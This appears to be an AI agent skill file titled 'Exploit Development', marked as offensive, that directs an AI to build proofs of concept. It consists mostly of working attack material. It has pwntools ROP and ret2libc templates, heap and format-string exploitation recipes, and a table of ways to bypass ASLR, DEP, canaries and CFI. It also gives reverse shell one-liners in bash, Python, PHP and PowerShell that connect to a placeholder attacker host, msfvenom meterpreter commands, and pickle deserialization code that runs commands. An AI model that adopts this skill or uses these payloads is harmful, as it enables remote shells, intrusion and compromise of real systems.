Exploit Development

---
name: exploit-development
description: PoC development, payload crafting, shellcode generation, ROP chains, heap exploitation, bypass techniques for modern mitigations (ASLR, DEP, CFI, stack canaries)
metadata:
  type: offensive
  phase: exploitation
  tools: pwntools, gdb, radare2, ropper, msfvenom, one_gadget
---

# Exploit Development

## When to Activate

- Confirmed vulnerability needs working PoC
- Binary exploitation (stack/heap overflow, format string, UAF)
- Web exploitation requiring custom payloads
- Bypass of security mitigations (ASLR, DEP, canaries, CFI)
- Shellcode development for specific architectures

## Binary Exploitation

### Stack Buffer Overflow
```python
from pwn import *

# Template: stack overflow with ROP
elf = ELF('./vulnerable')
rop = ROP(elf)
libc = ELF('./libc.so.6')

# Find offset
offset = cyclic_find(core.fault_addr)  # or pattern_offset

# Leak libc address
rop.puts(elf.got['puts'])
rop.call(elf.symbols['main'])  # return to main for second stage

payload = flat(
    b'A' * offset,
    rop.chain()
)

# Stage 2: calculate libc base, call system("/bin/sh")
libc.address = leaked_puts - libc.symbols['puts']
rop2 = ROP(libc)
rop2.system(next(libc.search(b'/bin/sh\x00')))

payload2 = flat(
    b'A' * offset,
    rop2.chain()
)
```

### Heap Exploitation
```python
# tcache poisoning (glibc 2.26+)
# 1. Allocate chunks A, B
# 2. Free B, Free A (tcache: A -> B)
# 3. Allocate, overwrite A's fd pointer to target
# 4. Allocate twice — second allocation at target address

# House of Force (old glibc)
# Overwrite top chunk size to -1
# Calculate distance to target
# malloc(distance) consumes wilderness
# Next malloc returns target address

# Fastbin dup
# Free A, Free B, Free A (fastbin: A -> B -> A)
# Allocate with fd = target (must have valid size at target-0x8)
```

### Format String Exploitation
```python
# Read: %p %p %p ... (leak stack/libc addresses)
# Write: %n writes number of chars printed so far
# Targeted write: %{offset}$n writes to specific argument
# pwntools fmtstr_payload:
from pwn import fmtstr_payload
payload = fmtstr_payload(offset, {target_addr: value}, write_size='short')
```

### ROP Chain Construction
```bash
# Find gadgets
ropper --file ./binary --search "pop rdi"
ROPgadget --binary ./binary --ropchain
one_gadget ./libc.so.6  # one-shot execve gadgets

# Common ROP patterns:
# ret2libc: pop rdi; ret -> "/bin/sh" -> system
# ret2csu: __libc_csu_init gadgets for multi-arg calls
# Stack pivot: xchg rsp, rax; ret (pivot to controlled buffer)
# SROP: sigreturn to set all registers
```

### Mitigation Bypass

| Mitigation | Bypass Technique |
|------------|-----------------|
| ASLR | Info leak (format string, partial overwrite, brute force 12-bit on 32-bit) |
| DEP/NX | ROP, ret2libc, mprotect() to make region executable |
| Stack Canary | Info leak, overwrite only specific vars, thread-local canary overwrite |
| PIE | Partial overwrite (last 12 bits fixed), info leak base address |
| CFI | Dispatch gadgets, COOP (counterfeit OOP), JIT spray |
| RELRO (Full) | Overwrite __malloc_hook, __free_hook (old glibc), exit handlers, TLS-dtor |
| Seccomp | Allowed syscall abuse, kernel bugs, TOCTOU on syscall args |

## Web Exploitation Payloads

### Reverse Shells
```bash
# Bash
bash -i >& /dev/tcp/ATTACKER/PORT 0>&1

# Python
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("ATTACKER",PORT));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/sh")'

# PHP
php -r '$sock=fsockopen("ATTACKER",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

# PowerShell
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('ATTACKER',PORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$s.Write(([text.encoding]::ASCII.GetBytes($r)),0,$r.Length)}"
```

### Shellcode Generation
```bash
# Linux x64 reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=PORT -f python -b '\x00'

# Windows x64 meterpreter
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=PORT -f csharp -e x64/xor_dynamic

# Shellcode constraints:
# - Null-free: avoid \x00 (use xor encoding, sub instead of mov 0)
# - Alphanumeric: only [A-Za-z0-9] (use alpha_mixed encoder)
# - Size-limited: use egg hunter or staged payload
```

### Deserialization Exploits
```python
# Python pickle RCE
import pickle, os
class Exploit:
    def __reduce__(self):
        return (os.system, ('id',))
payload = pickle.dumps(Exploit())

# Java (ysoserial)
# java -jar ysoserial.jar CommonsCollections6 'command' | base64

# PHP
# O:8:"Exploit":1:{s:4:"cmd";s:2:"id";}

# .NET (ysoserial.net)
# ysoserial.exe -g TypeConfuseDelegate -f Json.Net -c "command"
```

## Exploit Quality Standards

- PoC must be reliable (>90% success rate stated)
- Document exact versions/conditions required
- Include pre-exploitation checks (version fingerprint)
- Provide cleanup steps post-exploitation
- Note detection indicators for blue team awareness